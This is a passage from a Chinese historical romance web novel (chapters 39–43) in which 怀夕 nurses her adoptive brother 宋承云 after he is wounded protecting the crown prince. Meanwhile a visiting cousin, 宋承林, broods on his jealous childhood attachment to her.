几日不见,宋承云好似都消瘦了一圈,怀夕很是心疼,于是不断地给他夹菜。 可能是郊祀的事情有些麻烦,宋承云没吃几口就放下筷子,语气淡淡的,“你慢慢吃,我还有些事要去处理一下。” 宋承云说话时并未看着怀夕,所以没看见怀夕听到他的话后不满地抿了抿嘴。 怀夕扁着嘴有些委屈,她为了这顿膳食准备了两天。但哥哥都没吃几口,明明这些菜都是哥哥往日爱吃的 见宋承云要站起来,怀夕没忍住,伸手抓住他的衣袖。 宋承云心里浅浅叹了口气,目光终于滑到那张几日未见的小脸。 小姑娘不知是倔强还是有恃无恐,贝齿咬着粉嫩的唇,睁着一双清透潋滟的眸子无声地控诉他。 宋承云向来拿她没有办法,不管她示弱,还是示强。 他有些无奈,但还是坐了回去。 怀夕见宋承云重新拿起筷子,这才满意地放开他的袖子,锲而不舍地替他夹着菜。直到宋承云实在吃不下,转头无奈求饶:“够了。你慢慢吃,我等着你,好么?”说完,他礼尚往来,也给怀夕夹了一筷子她喜欢的炙肉圆。 怀夕露出得逞般的笑容,弯着眉眼点点头,这才开始准备喂饱自己的肚子。 陪怀夕吃完饭,宋承云回到书房,松毫将刚刚收到的信件呈了上去。 宋承云一眼看出火漆上是族里的印章。 他们在泸州还有些带不走的家业,向来交给族里打理,具体的情况族里常常写信告知,盈余时还会派族人将分红送至金陵。 不平日里这些书信向来是怀夕在收着的,只是今日收到信的时候有些晚,松毫不好去打扰怀夕,便将信件先呈给宋承云。 宋承云神色平淡,将信拆开。 信上说,按惯例,将大房应得部分的一半交给当地善堂,还特意说族里各户也跟随添了不少,又说今年族中又开了几家店铺云云 信件厚厚几页,宋承云只是粗粗掠了一遍,只在看到结尾处微皱了皱眉。 第40章 第40章肆无忌惮地看着她 信件第二日送到怀夕手中,看到火漆有破损,怀夕便知道哥哥已经看过了。 族里为了笼络哥哥,信件常常要用四五页纸,事无巨细,恨不得连族里的鸡下蛋了都想告知他们。 怀夕每次看信都有些无奈,反正每次说得大差不差,她只挑重点的看,譬如今年盈利的钱财,譬如善堂又救济了多少灾民 草草看过结尾处,怀夕不禁挑了挑眉。 族长在结尾写道:因有要事相商,此番上京,犬子承晖和二房承林一同随行 宋承晖怀夕没什么印象,可宋承林 怀夕脑海里不禁浮现起小时候,那个矮矮肥肥,因常常挑衅被她压着揍的小男孩 当然,那时怀夕也没占到什么便宜,压制他不过一年多,小男孩身型抽条,矮肥变成高壮,仿佛轻轻一脚就能将怀夕踢飞 好在他身型压过怀夕后,身体挑衅变成嘴上挑衅,怀夕倒也没有真的吃过什么亏。 来就来咯,怀夕想,只是怕他们又给哥哥找些什么麻烦- 宋承云走后四天,宋承林一行就到了。从前一直负责来回泸州和金陵的是另一位族兄宋承炳,熟门熟路,带着宋承林和宋承晖找上门来。 平日宋承云不在时,一般是没有男客的。但毕竟宋承炳几人是同族亲眷,虽来得有些突兀,怀夕还是叫人将他们请到正厅。 看到怀夕出现后,宋承炳立马站了起来,目露欣喜喊道:“怀夕妹妹。” 自他们上京后,每年至少都要见这位哥哥一两次,怀夕对他也熟络不少,笑着对他们欠了欠身:“几位哥哥一路辛苦。” 宋承晖原本正同宋承林说着话,听到宋承炳的声音后,也朝门外迈进来的女子看去。 来京前,宋承晖对怀夕这个妹妹并不熟悉,只在族人闲谈中有所耳闻,知她是大伯母捡来的一个小女娃。 因为要上京,族长父亲将承云兄妹二人来京前与族里的磋商细细告知,从父亲的话里,宋承晖对这个妹妹也有了大概了解。 严格来说她未入族谱,也不算是妹妹。可听说她颇得承云看重,兄妹情深。 如今承云扶摇直上,族里便有心成全,年前也写过书信来金陵,说只要他示意,族里立刻将怀夕编入族谱。 可信件如石沉大海,一点回信都没有。 小姑娘笑着朝他们看来的时候,宋承晖眸中光芒骤亮,不及掩饰眸中惊艳。 不是十分绝美的长相,可绝对看了一眼就让人很难移开视线。 她比寻常女子更高一些,身姿聘婷,肌肤塞雪。 细眉弯弯,一双剪水秋眸还带着些许稚气,可剔透如琥珀,笑起来的时候梨涡浅浅。 看到他们,不似小女儿见过外人时的乖顺或羞赧,而是大大方方的,不吝爽朗笑意。 宋承晖从未见过这般有灵气的女子,他有些难以想象,等她再褪去稚嫩时,这双灵眸该是何等风采。 宋承炳看着两位兄弟都在发愣,只好咳了一声,向怀夕引见:“妹妹,这位便是族长的长子,承晖哥哥。还有这位”宋承炳笑了笑,“这位便不用我介绍了吧。” 怀夕带着微微笑意,欠了欠身,“见过两位哥哥。” 宋承晖忙拱了拱手,“妹妹不必多礼。” 从怀夕进门之后,宋承林的视线也没离开过她。 承如宋承晖心中所想,只要你将目光落在她身上,绝对很难移开。 宋承晖打过招呼后,宋承林也展露笑意,拱手道:“妹妹。” 怀夕看到宋承林向她拱手时,眸中闪过一丝意外。 士别三日,当刮目相看。 是她小人之心了,还以为宋承林会如同小时一般,对她满怀敌意- 宋承晖一行未料到这几日正逢宋承云不在京中,此次来送账本分红是其次,族里另有重任交给他们。 宋家多次求见新任州府长官无果,此番上京,是想求求宋承云,能不能替宋家引见一下这位新任州府长官。毕竟,宋家手上的盐引是他们在泸州的立足之本。 但宋承云不在,他们也只能等着。既来之则安之,宋承晖和宋承林首次入京,宋承炳正好借此机会带他们一览京城风光。 到的第一日他们并未多叨扰怀夕,见了个面很快便回客栈休息。 他们落脚的客栈位于长安街上,离怀夕住的宅子很近。修整了一日后,第三日,宋承晖让仆从过来传话,说是他们想去青元山走一走,问怀夕是否同去。 来了几日,怀夕总不能一点东道主的表示都没有,遂答应一同前去。 晚秋虽萧瑟了些,可秋高气爽,天清如水,青元山上风光独好。 枫叶几近落尽,满山一片红艳。山路还算平坦。但越到高处山路越窄,车马不能行,到了半山后便只能步行上山。 怀夕来过青元山多次,知道路上难避尘土,因此今日特意穿了一袭青色襦裙,以轻便为主,但因着天气寒凉,又加了一件月白暗花小披风。 她 头上只盘了简单的垂桂髫,簪了两支兰花珠钗,素面朝天,但简单的装饰越发衬得整个人清净灵透,叫几个族兄见到时不禁眼前一亮。 宋承晖是个善谈的人,一路聊上来,得知怀夕兄妹在青云山为双亲设了长明灯供奉香火,便提出要去上柱香。 好意难以推拒,怀夕想着来都来了,只好点头带他们上山。 供奉长明灯的禅房位于青元山顶峰无极殿,平时并不多人踏足,因此山路更是崎岖难行。 怀夕好些日子不曾出门,一下子走了那么久的山路,不免气喘吁吁。小艾也是,虽寒风有些瘆人,但还是走出了满颊的汗。 走着走着,宋承晖和宋承炳已经在她们前面好一段距离,怀夕大吸了几口气,准备继续前行时,不料突然有些腿软,踩漏了一级阶梯,差点跪倒时,手臂被后面的人紧紧搀柱。 怀夕以为是小艾,为稳住身子,另一只手顺势攀上她的手掌。 “小心。”身后人语气里隐隐的紧张。 却是男子的声音。 微茧和青筋分明的手感叫怀夕急忙松开,一转头发现接住自己的人是宋承林。 一路走来,宋承林话并不多,只是偶尔应和着兄弟们的话。 说实话,怀夕心底挺讶异的。宋承林好似变了许多,小时候他简直是个话痨,脾气也不好,说的话常常带着刺。 你理他他越起劲,不理他他又变本加厉地欺负你,鬼见愁的,所以怀夕大了一些后,能避开他则避开。 “多谢。”怀夕抽回自己的手,颔首道谢。 宋承林也点了点头,没有说话。 怀夕侧身,想让他先行,不料宋承林望着山间风景,好似没看到她动作一般,怀夕只好和小艾两人互相搀扶并行。 等她们走后,宋承林才转过身,肆无忌惮地将目光落在怀夕身上,看着她和小艾紧紧握住的手,他的眼里闪过一簇精光。 上过香之后已是晌午,山上有禅房供香客休息吃食,一行人简单地用了一顿素斋。 山上的素斋清淡可口,不过,怀夕向来不吃黑豆,小艾将装满素菜的碗递给怀夕前,将里头的黑豆一颗一颗挑回自己碗里。 此举落到宋承林眼里,他似乎有些惊讶,“你当真不爱吃黑豆?” 他的问话有些突兀,不过怀夕没有多想,据实回答:“也不是不爱吃。” 小艾接过话头,解释道:“我家姑娘不知为何,吃了黑豆,身上总会起些小红包,大夫也找不到原因,只好让我们姑娘忌口。” 宋承林听完,脸色有些奇怪。宋承晖笑着说道:“可能是这黑豆犯了妹妹什么忌讳,也不是什么大事,不吃便是了。” 怀夕也笑着应是。 山上天气多变,用素斋时,忽然就下起倾盆大雨,几人便都去了客房休息,约定雨后再回程。 雨声哒哒,是最好的助眠声,怀夕和小艾太过疲累,两人很快小睡过去。 而另一间客房里,宋承林遣去随从,独自一人站在半开的窗边。 凉风习习,裹着雨丝打在脸上,又湿又冷,宋承林好似感觉不到,目光虚虚地落在窗外的枯树枝上。 泸州的冬日也常常下雨,他突然想起以前。 大概也是这样的雨天,那个时候,怀夕才刚刚被大伯母领回来不久,大房二房俱住在主宅。 怀夕刚被领回来那天,他也还很小,带着两个妹妹在院子外玩耍。 因大伯母每次出门回来,都会带些糖圆点心分给他们,因此看到大伯母的马车到了府前时,他兴冲冲地跑过去,正好看着大伯母抱着一个脏兮兮的小女孩从马车上走下来。 小女孩的衣服脏破不堪,但脸上显然清理过,皮肤干净白皙,一双圆溜剔透的眼眸直勾勾地盯着他。 宋承林好奇地问白氏:“大伯母,她是谁啊?怎么衣服脏得跟乞丐一样?” 白氏当他童言无忌,只是笑了笑,“她是大伯母的女儿。”那时白氏还没想好为怀夕取什么名字,歪头想了想,对宋承林温柔说道:“她比你小一岁,你先唤她妹妹吧。” 于是小宋承林主动牵过怀夕小小的手,乖巧喊道:“妹妹。” 站在窗前,宋承林忍不住在想,到底是从什么时候开始讨厌这个妹妹的呢? 怀夕的到来,似在平静的湖面丢下一颗巨石。不知为何,祖母异常生气,就是不肯让大伯母将怀夕计到名下,说是留下也只能充作丫鬟。而向来性子温软的大伯母又异常坚持,不肯听祖母的安排。 那时宋承林什么都不懂,只记得不久后,大伯母就搬到隔壁的小院去。 但这并不影响他常常去找小怀夕玩。 明明他也有两个妹妹,但不知为何他就是特别喜欢怀夕。 可能是因为他有两个哥哥,宋承亭和宋承云,同他一样大时就已经显示出异于常人的天赋,读书都是一把好手。 只有他不是。 祖母并不是很喜欢他,父母亲也常常觉得自己不争气,家中两个妹妹鹦鹉学舌一般,常常将母亲教训他的话也挂在嘴边。 可怀夕不同,无论他带着她去偷摘隔壁老秀才的果子,还是给她自己舍不得吃的糖圆,她每每懵懂如小兽的眼神叫他总有做大哥哥的成就感。 可渐渐地他发现,只要二哥一出现,怀夕便可以几日几日地不出门同他玩,如同二哥的小尾巴一样,不管他冷不冷脸,她都贴得紧紧的。 明明他才是对她最好的人。 时间长了,宋承林的心里愈来愈不舒服。 起初他只是想让怀夕跟他玩,想从她眼里看到那种崇拜似的眼神。可小孩子的嫉妒心作祟,他用了错误的方法,他欺负她,辱骂她,想让她看到他。 家中长辈常说怀夕像个不开窍的傻子,长辈的脸色都不会看,可宋承林却觉得她敏感如小兽,只要察觉到一丝危险,就会躲得远远的。 亦如她后来每次见到他都恨不得躲着他走。 大了一些,他想通一些事情,知道自己做错之后,小姑娘却一次解释靠近的机会都没有留给他。 少年人的自尊比生命还要重,所以后来,他只能继续,对她横眉以对,故意欺负她,惹怒她,换来她生气的几句回骂,或者看到她气得跳脚的神态。 他总以为总有机会解开误会,有机会向她道歉。那时他并不知道,怀夕有一天会彻底地离开那座小院。 他不知道,为何少年时一些小小的遗憾和悔意,经年累月在心里发酵之后,会变成迷雾沼泽一般愈挣扎愈沉沦的执念。 这几年来,他常常想起她。 甚至在真正成为男人的第一个晚上,他身下骑着别的女子,可释放的那瞬间,脑海里炸开的,却是她的身影【你现在阅读的是 】 40-50 第41章 第41章不能在哥哥屋里过夜 宋承云是被抬着回来的,怀夕赶到他屋里的时候,他已经被安置在床上,沉沉地闭着眼。 被太子安排来的李太医坐在床边把完脉,正准备施针,听到门口匆匆的脚步声,紧接着门哐当被推开。 李太医皱了皱眉,心想是哪个没规矩的丫鬟,正要斥退,那姑娘已经来到床前,语气焦急:“我哥哥怎么了?” 原来是宋编修的妹妹 李太医从床边站起来,抬眼看向怀夕时,眼里闪过一丝惊艳。他的声音沉稳且颇能安抚人心,“姑娘别担心,宋编修伤口上还有些余毒,待我施针将毒逼出,再服几帖药,应是无碍。” 李太医平日专为太子请脉,此次郊祀也随行。宋承云为太子挡了一刀后,他被太子派来全程照料宋承云。 知道眼前的姑娘是宋承云妹妹后,态度颇 为和善,又继续说道:“只不过伤口在左腹,失血有些多,是以还得慢慢调养” 宋承云脸色十分苍白,身上盖着厚厚的被子,偶尔还打着冷颤。 怀夕边听着李太医说话,边俯身去摸他的手。 ——冷得像冰块。 怀夕蹙紧眉头,只好用自己的双手紧握住他的,试图想传递一些温度。待李太医说完,她脱口问道:“你说哥哥是中毒?” “”这说来便话长了,但有些话李太医也不好说。 郊祀历经七天,全程十分顺利,但谁能料到回程时侍候茶水的女婢会持刀刺杀太子?而正好宋编修被召到太子的车驾上,意外替太子挡了一刀 女婢背后是何人指使?刺杀太子又是何意?通通都不是李太医敢说,能说的。 但小姑娘问得直白,让向来秉持谨小慎微的李太医一时倒没用对外的那套说辞搪塞他。 李太医咽了咽口水,从针袋上拔出针,“眼下还是逼出余毒要紧,姑娘还是让我先施针吧。” “对对对。”怀夕急忙让出位子。 身边另一位随行的太医过去掀开被子,解开宋承云的衣物的同时,李太医回头看了看怀夕,“姑娘是不是” 怀夕摇了摇头,“无妨,我在边上看着。” 哥哥的伤口她要亲眼看过才行。 两位太医虽有些惊讶,但想了想,听闻宋编修家中只余一个妹妹,待他们走后,总要有人在身边照顾着,于是也没有再多说什么。 李太医掀开宋承云的衣服,腹部上围着厚厚一圈泛血的纱布,随行那位太医一圈一圈绕开,待绕到最后两圈,血污和纱布一并凝固在伤口上。 两位太医紧紧皱着眉头,不敢用力,小心翼翼地慢慢牵拉 伤口不是很长,却很深。 轻轻的牵拉,鲜红的血液不停涌出。怀夕看着眼前的情状,紧紧咬住牙关,眼眶里的泪再也止不住 “快把桌上的药粉拿过来!”李太医催促那随行的太医。 怀夕反应更快,回头看到桌上的药罐,在那太医起身之际已经把药罐子打开,捧给他。 李太医接过,急忙将药粉洒在伤口上,而后用银针在脚踝上施了几针,血才慢慢停止渗出 待重新包扎完,两位太医头上已渗出厚厚一层汗。 “宋编修烧还未退,屋内一定要暖。可以用冬日取暖的炭盆,但不要放得离床太近”因是太子的吩咐,李太医丝毫不敢怠慢,事事细细交待,“最多两刻钟,宋编修应能醒过来。姑娘可先备些粥水,待宋编修醒来过喂一些,多少都行,五谷最能提气明日我等再过来换药” 说完后,见怀夕眼尾洇红,眼泪忍着在眼眶里打转,他又宽慰道:“姑娘也不必太担心,只要这段日子让宋编修多静养,莫牵扯伤口,不会有什么大碍的。” 怀夕吸了吸鼻子应好,亲自将他们送到门外,又吩咐松毫和小艾去准备太医说的东西,才急忙回到宋承云床前,一步不离地守着- 自受伤后,宋承云因着毒性影响,一直昏昏沉沉,不曾清醒,连疼痛都是模模糊糊。 醒来时,看来熟悉的帘帐,他习惯性想坐起来。但还未动,一股钻心的痛楚从腹部往上侵袭,让他忍不住低哼一声。 “哥哥,你醒了”怀夕一直守在床边,看到床上的人有了动静,急忙凑上前去确认。 摸摸额头,额温还是很高,她又将手伸到被子里去寻他的手。 ——终于没有那么冰冷了。 怀夕稍稍松了口气。 熟悉的清甜味混着难闻的药味,宋承云刚睁开眼,意识还有些昏沉。指尖被覆住时,他微微蹙了蹙眉,不知是因伤痛还是什么。 怀夕见宋承云好似点了头,可双眸颤巍巍的,又要闭上时,有些紧张,又俯身仔细瞧他脸色。 苍白如纸张,连睁眼的力气都没有 想到李太医的嘱咐,她凑到他身旁,轻轻说道:“哥哥莫再睡了,先起来喝点粥水,好吃药” 见宋承云虽闭着眼,但终于轻点了下头,怀夕急忙走到门外,吩咐让松毫把准备好的东西送进来。 厨上一直煨着清粥,很快,松毫便把粥端进来。 宋承云还不能坐起来,怀夕只好端着碗,一勺一勺小心翼翼将熬好的粥油喂给他。 不知是不是她没掌握好角度,粥水顺着宋承云的下颌流下,滑过脖颈处 怀夕咬了咬唇,眸里显而易见对自己生疏动作的不满。 她将碗递给旁边的松毫,又拿出自己的帕子伸进宋承云颈窝擦拭。 小手在脸边乱蹭,宋承云蹙了蹙眉,往后躲了躲。 “让松毫来吧。”他的声音轻得仿佛要化开。 怀夕手忙脚乱,闻言倒是干脆,将位置让给松毫,自己在一旁看着,偶尔帮忙擦拭宋承云嘴角的细渍。 再把汤药慢慢喂尽后,松毫才端着碗退了下去。 宋承云其实还很虚弱,连喘气都是钻心的痛楚。 他想闭眼,可眼前的小姑娘一脸小心翼翼地守着他,明明满心的疑问却不敢开口。 他不想小姑娘担心,轻轻吸了口气,“朝堂上的事不便与你多说。” 他的声音轻飘疲倦,怀夕心里纠得厉害,她垂下眸,紧紧攥紧手上的帕子,怕哥哥看到自己快要弹出来的眼泪。 但宋承云目光一直随着她动,怎么会没发现。 “别哭。”他似是叹了口气,伸手去握她的,安抚道:“哥哥没事,睡一觉便好多了。” 那么深的伤口怎么可能睡一觉就好,如今屋里烧着炭火,平日最畏冷的她都熏得一身薄汗,可哥哥的手虽不至于像刚回来时那么冰,但还是凉凉的。 怀夕抿紧唇瓣,忍着喉间的哽咽,“哥哥骗人,李太医说了,哥哥要好好养一段时间才能将流掉的血养回来。” 见宋承云不在意般轻轻哼笑了声,怀夕很不满,正了正脸色,“总之,这段时间,哥哥都要听我的,没养好就不能出门。” 怀夕说完,直愣愣地盯着他,仿佛不达目的不罢休一般。 既是无力周旋,也知道怀夕是担心,宋承云无奈地点了点头,而后闭上眼,很快又沉睡过去- 再睁眼的时候,天光初亮。 一夜炭火烘烤,宋承云觉得喉咙干痛地厉害。他向来不让松毫守夜的,所以习惯性想伸手敲一敲床榻,叫人进来。 只是刚一转头,发现床边不知何时搬进来一张小榻。此时榻上躺着个睡颜安宁的女子,眉目舒展,睡得香甜 宋承云眉心忍不住重重跳了跳。 这成何体统,别说已经及笄,未及笄的姑娘也不能在哥哥屋里过夜 昨夜他实在太疲累,原以为应下妹妹的要求,她就能安心离开。 没想到她竟这般胡闹 她是侧身朝着他这边睡的,半张莹白脸庞陷在被褥之中,乌黑发丝松松铺落在一旁,长长的睫羽将那双清亮剔透的眼眸藏了起来,领口在她随性的睡姿下松垮地露出半边肩头 毫不设防的姿势。 宋承云眼皮一颤,目光仿佛被灼烫到一般,迅速从那白得如雪一般的莹润上移开眼。 他弯下手指,原想重重叩一叩床沿,但真正落下时,还是收了一点力。 怕惊到还睡得香甜的女子。 隐隐约约听到几声咚咚声,怀夕在被褥中蹭了蹭脸,转了个身。 刚转过去,又似乎惊醒一般,迅速睁开眼。 她在给哥哥守夜,怎么能睡得那么沉 怀夕将被褥推开,半笈着鞋子走到床边。她睡眼惺忪,加上床帷边比较昏暗,她一时没有看出床上的人正定定地看着她,神情颇为不悦。 看到宋承云睁着眼,怀夕轻轻问道:“哥哥什么醒的?” 说完后,她又俯身靠得更近些,见哥哥脸色没有那般苍白,但嘴唇上干得有些起皮,她又起身走到桌子边,提出炉子上一直温着水壶,倒了一杯水,才坐回到床沿边。 屋内燃着炭盆,暖烘烘地烤着,叫人很是舒服放松。 宋承云的伤口还不能挪动,只能侧过头,看着怀夕垂散着满背的乌黑发丝,在屋内行来踏去,轻薄的里衣遮不住她窈窕身线 宋承云眼里愠色渐浓,等她又坐回床边,俯着身欲将手里的汤匙送到他嘴边时,他终于忍不住低低斥了一声。 “胡闹!” 第42章 第42章万一传出去,你还要不要…… 看到宋承云瞥开脸,怀夕有些意外,料想是茶水太烫,她将汤匙收回嘴边,轻轻呼了呼,又送过去。 “胡闹。”宋承云低哑的嗓音里带了几分斥责。 怀夕却不在意,她只关注到宋承云说话的声音不似昨日那般有气无力,不仅不惧,脸上反而高兴了两分。 见宋承云没有张嘴,她索性将汤匙直接触到他嘴边。 温热的清水沾在唇边,动一动就要溢出一般。宋承云不得不张口,喝下这口后马上伸出手,制止怀夕接下来的动作。 “松毫呢?就这样任你胡闹?” 怀夕见哥哥真的动了气,脸上漫上两分心虚。 松毫当然劝了她许久,但她一意孤行,松毫怎么可能拿她有办法,最后只能不太情愿地替她搬来软榻。其间又尝试请她回去,终是无果,最好他也只能做好受公子斥责的准备。 “不就是在你屋里过了一夜吗?”怀夕也觉得委屈,“你昨日奄奄一息的模样那么吓人,不看着你我怎能放心。” 宋承云见她眼眶红红,不买账,罕见地更动了气,“这成何体统?万一传出去,你以后还要不要嫁人?” 怀夕本就吃软不吃硬,宋承云这般严厉,她更是犟了起来,脱口而出地应道:“不嫁!” 话音刚落,两人明显都愣了愣。 “宋怀夕。”温水浸润过后,宋承云声线又恢复成往日那般清冽。 他一字一字语调分明,明明声音好听得不行,但脸上的神色却越来越难看。 怀夕见哥哥比她更难缠,软硬不吃,终究心虚,垂下眸不情愿地说:“知道了。今夜就不来了。” 宋承云目光落在她粉嫩如花瓣的唇瓣上,听着她含糊不肯认错的话语,眼睫压下眸底晦涩,终究只淡淡地应了声,“嗯。”- 怀夕夜里是没有再来,但白天说什么都不听,雷打不动地守着他,除了一些迫不得已要回避的,其他一应事情皆要亲力亲为。 李太医每日都会上门请脉换药,太子的亲信随从也日日过来探望。 到第四日,李太医看过宋承云已经有了愈合迹象的伤口后,点了点头,说是恢复不错。他留了专配的药粉,又开了几帖药,和宋承云说三日后他再继续过来复诊。 储君遇刺,朝野震动。趁此动荡之际,各方势力明里暗里重新洗牌,太子忙得脚不着地。但宋承云醒过来后,太子百忙之中仍来了一趟。 不过也没有停留太久,与宋承云在屋内停留了一刻钟左右便离去了。 怀夕丝毫不知外面风云变幻,只知道太子下旨让哥哥在家中休养一段时日。 而宋承林一行,因宋承云受伤也在金陵多呆了一段时日。 待第三次登门,才见到宋承云。 当然前两次也不是宋承云故意不见他们。 他们第一次来时,宋承云刚被抬回来,还在昏迷。 第二次来时宋承云状态也不是很好,虽醒了,但因毒性残留沉睡的时间还是有些长,因此怀夕都推了他们的探望。 直到问过李太医,李太医首肯可以让宋承云出门晒晒日光,偶尔小坐也无妨,宋承晖一行才见到他。 待客本应在正厅,只是宋承云还不能走动多步,只要就近将他们请到书房。 书房原本不算小,只是里头又用屏风隔了个小区域,供怀夕平日写字看书用。因此,外间临时加放了几把椅子时,就显得有些逼仄。 不过宋承晖可顾不上这些,在京中等了这么多日,好不容易见到这位赫赫有名的族弟,他心里只想着该怎么妥帖地提出族里托付之事。 进来后见过礼落座后,几人先是寒暄关心了一下宋承云的伤况。 宋承云一直在外求学,跟这几个兄弟不算熟,不过读书人的素养在那,他们远道而来,问什么他也算是皆有回应。 只是他向来话不多,回的话也是简短。 说了一小会,宋承晖主动上前,拿出在袖里放热了的信封,“这是族里让我们送来的书信” 宋承云看了一眼,抬手接过。 在他看信之时,宋承林的目光不着痕迹扫过隔间书桌案上摆着的那盆粉艳的长春花,而后落到桌前看信之人身上。 宋承林记忆中,这位二哥自小清贵端方,不苟言笑,但的确生了一副不凡姿态。 他今日着一身锦色袍衫便服,披一件浅青色轻裘披风,脸上有些病态的苍白,可清隽不减,只衬得那双冷清黑眸更为疏冷缥缈。 屋内燃着炭盆,坐久了不由得让人觉得有些闷热。 炭火烧得红火,蹦出一点火苗啪的一声,宋承林不由得想起刚刚被请进来后的那段小插曲。 那位从小跟着二哥的书童松毫在他们落座后,送了他现在披的这件轻裘披风进来。 好似已经料到他们公子会拒绝一般,松毫为他披上时,先开口解释:“姑娘说公子不能着凉。” 言毕,宋承林看到他抬起的手又落了回去。 显然,宋承晖和宋承炳也看到这一幕。 他们相视一眼,眼里都露出一抹了然:如传闻一般,这位族弟看着清冷不好接触,但对妹妹却是十分疼爱纵容- 屋内说了什么怀夕并不知道,只是在外面数着时间,李太医交待了,哥哥不能久坐太久 好在等她忍不住想借送茶水的名义进去催客时,屋内的人刚好站了起来,看着已经准备告辞了。 临走前,宋承晖说起之前青元山上的好风景,在说到怀夕差点扭了脚时,怀夕正好端着茶水款款走了进来。 宋承云知道妹妹带这几个族亲去了一趟青元山,但这个小意外,妹妹并没有同他说。 他第一时间将目光落到她脚边,看着她慢慢走近。 脚踝藏在曳地的织锦裙摆下,走路间裙摆漾出轻巧的波浪,应是无碍。 怀夕一进来,便听到宋承云轻轻咳了一声,头往里一看,内室的雕花窗户开了一半 怀夕皱了皱眉,暗道自己粗心,早晨过来替哥哥拿书时本想开窗通通风,倒忘记吩咐小艾关上了。 来金陵好一阵子了,宋承晖他们对怀夕也已经比较熟悉,所以并没有很见外。宋承林最小,接过怀夕手上的茶水,替族兄们斟满。 怀夕向宋承林点头致谢,在他们的注视下,走近内屋,把窗户关了起来。 又闲聊几句,向宋承云兄妹说明归期后,宋承晖他们颇有眼色,适时请辞。 宋承云不便相送,怀夕将他们送到门外。 宋承晖对她拱了拱手:“今日叨扰了,见承云没有大碍,我们也好放心回去,妹妹就送到这吧。” 怀夕也没推辞,让松毫送他们回客栈,她小站一会目送他们离开便折回书房。 回到书房,果然,看到哥哥还坐在位子上,手里拿着本书在看。 无外人在,怀夕果断提了提裙摆,小跑过去,抽走他手里的书。 她又将手搀进宋承云臂弯,不由分说道:“我送哥哥回房间休息。” 宋承云叹了口气,将手收了回来,“我自己可以走。” 可他才站起来,就不自主嘶了一声。 怀夕见状,哪里还肯,学着松毫平日搀扶的姿势,不由分说地将宋承云的手搬到自己肩头,而自己搂着宋承云的腰 这样亲密的动作,宋承云下意识就要将手拿开,往后退。 可他如今腰腹用不上力,架在怀夕肩上的手又被她另一只手及时拉住。 慌张之下,只能冷冷说了句:“不成体统。” 可怀夕哪里会怕他,她将他的话当作耳旁风,搂着他继续往前走,还 要教训回去,“哥哥怎么跟个古板老夫子一样,整日体统体统,今日就算是松毫,我也不会弃他不顾,哥哥想要体统,先把伤养好再说。” 宋承云被怀夕怼得一时说不出话,听到就算是松毫,她也会这般,脸上骤然沉了沉。 毕竟是男子,虽宋承云只放了一小部分力在她身上,怀夕还是觉得有些重。 但毕竟才夸下海口,即使力不从心她也不肯示弱,用了站直了些,搂着宋承云腰的手也更紧几分。 隔着衣裳,宋承云觉得被她搂住的地方又麻又痒,腰间不自觉的颤栗感让他紧紧攥住拳。 而宋承林折回来时,看到的便是这一幕- 宋承林有一把很是心爱的折扇,不管春夏秋天都携在身上。走到半路时他才发现折扇不在手中,不想两个族兄专门停下等他,他便独自折回来。 因刚刚才离开,守门的又知道她是主人的族亲兄弟,因此没有再通报便让他进来了。 到了宋承云院子门外,宋承林原想想寻个丫鬟帮自己取出折扇,可宋承云平日不喜仆侍在旁,松毫正好又被宋承云派出去办事,宋承林小站了一会仍无人经过。 宋承林想了想,或许二哥还在书房,遂还是提步迈了进去。 只是他没有想到,只是跨进院子刚转过一道游廊,就看过眼前的场景。 宋承林一直都以为,宋承云性子冷淡,只是怀夕单方面喜欢黏着她。 但此刻,前方的男子不复刚刚所见那般,即便重伤坐着,身姿依旧挺拔如松。 他竟将身子歪倚在那抹纤弱的鹅黄身影上 因男子身材高大,那抹鹅黄身影只能踮着脚尖,愈发将整个人送进男子怀中 宋承林远远地看着他们的背影,又因隔着宋承云的披风,他看得并不真切。但这样的姿势,不难想象,他们两人靠得多近,多紧。 凉风送来他们的悄悄话,“哥哥好重” 宋承林无端觉得眼前的场景十分刺眼。 在他面前清淡疏离的怀夕,原来对着宋承云,也会有这样乖巧娇柔的模样。 他们可是兄妹! 可心底同时又有一个声音在耳边不停叮咛:他们可不是亲兄妹! 正如他,不也是这样为自己那种种见不得人的心思推脱的吗。 多年前的那股嫉妒在此刻死灰复燃,一口口地啃咬着他的心。 宋承林紧紧咬着后槽牙,掩下涨得满是血丝的眼眸,无声转身消失 第43章 第43章胡思乱想什么 夜里,宋承云觉得烦闷,遂还是让松毫搀着他书房小坐一会。 宋承云看书间隙,松毫走到里边,简单收拾怀夕桌上的东西,走出来时恰好看到靠近内室那把椅子上有一把玉骨折扇。 松毫有些惊奇,走过去拿起来,嘴里忍不住嘀咕着,“三公子的折扇不是在这吗?这么显眼怎么会没找到” 宋承云听得不甚清晰,目光落到他手里的折扇,问:“你说什么?” 松毫只好解释了一遍,“早上姑娘让我送几位公子客栈,半路三公子折回来取扇,不过回去后说是没找到。”他扬了扬手上的折扇,“这不是在他位子上嘛” “嗯”宋承云目光又落回他手上的书,似乎对这段插曲不甚在意。 即将入冬,屋外冷风瑟瑟地吹打窗沿,桌上的烛火轻轻跃动,幽深的眼眸也随之微微晃起了一丝波澜- 立冬一过,寒气开始肆虐,凛冽的北风吹在脸上,针扎般地生疼。 今年金陵雪下得早,立冬不过几天,第一场雪就纷纷扬扬下了起来。 怀夕晨醒推开窗,飘进来的雪花准准落在她额上,冻得她不自觉打了个颤。 宋承云在家中静养了多久,朝堂上就闹了多久。半个月,追尊一事以皇帝全盘胜出落下帷幕,而太子也借刺杀事件,踢掉两名内阁学士,换上自己的人。 宋承云伤口愈合得挺好,因救驾有功,圣上亲下了旨意,破例提为翰林院修撰,令他编修会典,过两日宋承云便回去当值了。 怀夕每年生辰,宋承云都会提前准备好贺礼,今年亦是,贺礼早几日就已经送给她了。 今年是一串沉香手串。 沉香素有理气平喘之奇效,宋承云几费周折才寻来这串手串。 怀夕小时有心疾,发作时易心悸疼痛,白氏遍访名医都无果,原本还担心她活不长,没曾想随着她长大,心疾好似自然而然就好了。 可惜病根拔不除,怀夕偶尔还是会心悸,只是最多喘不上气,不至于如同小时那般疼痛到坐立难安。 不过怀夕并不知道此串得来之艰辛,只是觉得沉香粒香气幽雅,戴在腕间也很好看,遂十分喜欢这串手串。 按惯例,除了贺礼,每年生辰,宋承云还要答应怀夕一个“心愿”。 宋承云虽宠怀夕,可怀夕性子跳脱,又惯是擅长蹬鼻子上脸,所以宋承云待怀夕也不是无底线地满足。 两人约法三章,他不同意的事,怀夕绝对不能擅做。 虽说几年来,这条章法几乎形同虚设。 宋承云很少对怀夕说不。 